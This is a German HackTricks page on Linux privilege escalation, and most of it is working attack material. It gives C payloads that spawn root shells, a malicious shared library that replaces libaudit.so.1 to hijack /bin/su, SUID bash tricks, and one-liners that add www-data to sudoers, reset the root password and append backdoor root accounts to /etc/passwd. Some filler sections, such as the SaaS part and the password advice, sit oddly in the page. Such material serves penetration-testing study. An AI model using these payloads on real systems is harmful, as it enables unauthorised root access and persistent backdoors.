9.6 KiB
Ausführung von Payloads
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und hacktricks-cloud repo einreichen.
Bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
Ausführung von Payloads
Es gibt verschiedene Möglichkeiten, Payloads auf einem Linux-System auszuführen, um eine Privilegieneskalation zu erreichen. Hier sind einige gängige Methoden:
1. SUID-Binärdateien missbrauchen
SUID (Set User ID) ist ein Berechtigungsbit, das auf ausführbare Dateien angewendet werden kann. Wenn eine Datei mit dem SUID-Bit versehen ist, wird sie mit den Berechtigungen des Eigentümers ausgeführt, anstatt mit den Berechtigungen des ausführenden Benutzers. Dies kann ausgenutzt werden, um eine Datei mit höheren Berechtigungen auszuführen.
Um eine SUID-Binärdatei zu finden, können Sie den folgenden Befehl verwenden:
find / -perm -4000 2>/dev/null
2. Cron-Jobs manipulieren
Cron-Jobs sind geplante Aufgaben, die automatisch zu bestimmten Zeiten ausgeführt werden. Wenn ein Cron-Job mit höheren Berechtigungen ausgeführt wird, kann er manipuliert werden, um einen Payload auszuführen.
Um Cron-Jobs zu überprüfen, können Sie den folgenden Befehl verwenden:
ls -la /etc/cron*
3. Umgebungsvariablen manipulieren
Umgebungsvariablen sind Werte, die von Prozessen verwendet werden, um Informationen zu speichern. Wenn eine Umgebungsvariable von einem Prozess verwendet wird, der mit höheren Berechtigungen ausgeführt wird, kann sie manipuliert werden, um einen Payload auszuführen.
Um die Umgebungsvariablen eines Prozesses anzuzeigen, können Sie den folgenden Befehl verwenden:
cat /proc/<PID>/environ
4. Kernel-Exploits verwenden
Ein Kernel-Exploit ist eine Schwachstelle im Betriebssystemkern, die ausgenutzt werden kann, um höhere Berechtigungen zu erlangen. Es gibt verschiedene Kernel-Exploits, die je nach Linux-Distribution und Kernel-Version variieren.
Um nach Kernel-Exploits zu suchen, können Sie den folgenden Befehl verwenden:
searchsploit linux kernel <version>
5. Schwachstellen in SaaS-Plattformen ausnutzen
Wenn Sie Zugriff auf eine SaaS-Plattform haben, können Sie nach Schwachstellen suchen, die es Ihnen ermöglichen, höhere Berechtigungen zu erlangen. Dies kann durch Ausnutzen von Sicherheitslücken in der Plattform selbst oder in den gehosteten Anwendungen erreicht werden.
Um nach Schwachstellen in einer SaaS-Plattform zu suchen, können Sie den folgenden Befehl verwenden:
searchsploit <platform>
Diese Methoden sind nur einige Beispiele für die Ausführung von Payloads zur Privilegieneskalation auf einem Linux-System. Es gibt viele weitere Techniken und Tools, die verwendet werden können, um höhere Berechtigungen zu erlangen. Es ist wichtig, diese Techniken zu verstehen und zu lernen, um effektive Sicherheitsmaßnahmen ergreifen zu können.
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
Überschreiben einer Datei zur Eskalation von Privilegien
Häufig verwendete Dateien
- Benutzer mit Passwort zu /etc/passwd hinzufügen
- Passwort in /etc/shadow ändern
- Benutzer zu sudoers in /etc/sudoers hinzufügen
- Docker über den Docker-Socket missbrauchen, normalerweise in /run/docker.sock oder /var/run/docker.sock
Überschreiben einer Bibliothek
Überprüfen Sie eine von einem bestimmten Binärprogramm verwendete Bibliothek, in diesem Fall /bin/su
:
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
In diesem Fall versuchen wir, /lib/x86_64-linux-gnu/libaudit.so.1
zu imitieren.
Überprüfen Sie daher die Funktionen dieser Bibliothek, die vom su
-Binärprogramm verwendet werden:
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
Die Symbole audit_open
, audit_log_acct_message
, audit_log_acct_message
und audit_fd
stammen wahrscheinlich aus der Bibliothek libaudit.so.1. Da die libaudit.so.1 durch die bösartige Shared Library überschrieben wird, sollten diese Symbole in der neuen Shared Library vorhanden sein. Andernfalls kann das Programm das Symbol nicht finden und wird beendet.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Nun, indem Sie einfach /bin/su
aufrufen, erhalten Sie eine Shell als Root.
Skripte
Können Sie root dazu bringen, etwas auszuführen?
www-data zu sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
Root-Passwort ändern
Um das Root-Passwort zu ändern, können Sie den folgenden Befehl verwenden:
sudo passwd root
Sie werden aufgefordert, das aktuelle Root-Passwort einzugeben und dann das neue Passwort zweimal einzugeben, um es zu bestätigen. Stellen Sie sicher, dass Sie ein sicheres Passwort wählen, das aus einer Kombination von Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen besteht.
Nachdem das Root-Passwort erfolgreich geändert wurde, können Sie sich mit dem neuen Passwort als Root-Benutzer anmelden.
echo "root:hacked" | chpasswd
Neuen Root-Benutzer zu /etc/passwd hinzufügen
Um einen neuen Root-Benutzer zur Datei /etc/passwd hinzuzufügen, können Sie den folgenden Befehl verwenden:
echo 'newroot:x:0:0:root:/root:/bin/bash' >> /etc/passwd
Dieser Befehl fügt einen neuen Eintrag für den Benutzer "newroot" hinzu, der die Root-Rechte hat. Der Benutzer wird dem Verzeichnis /root zugeordnet und verwendet die Shell /bin/bash.
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs.
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise.
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und hacktricks-cloud repo senden.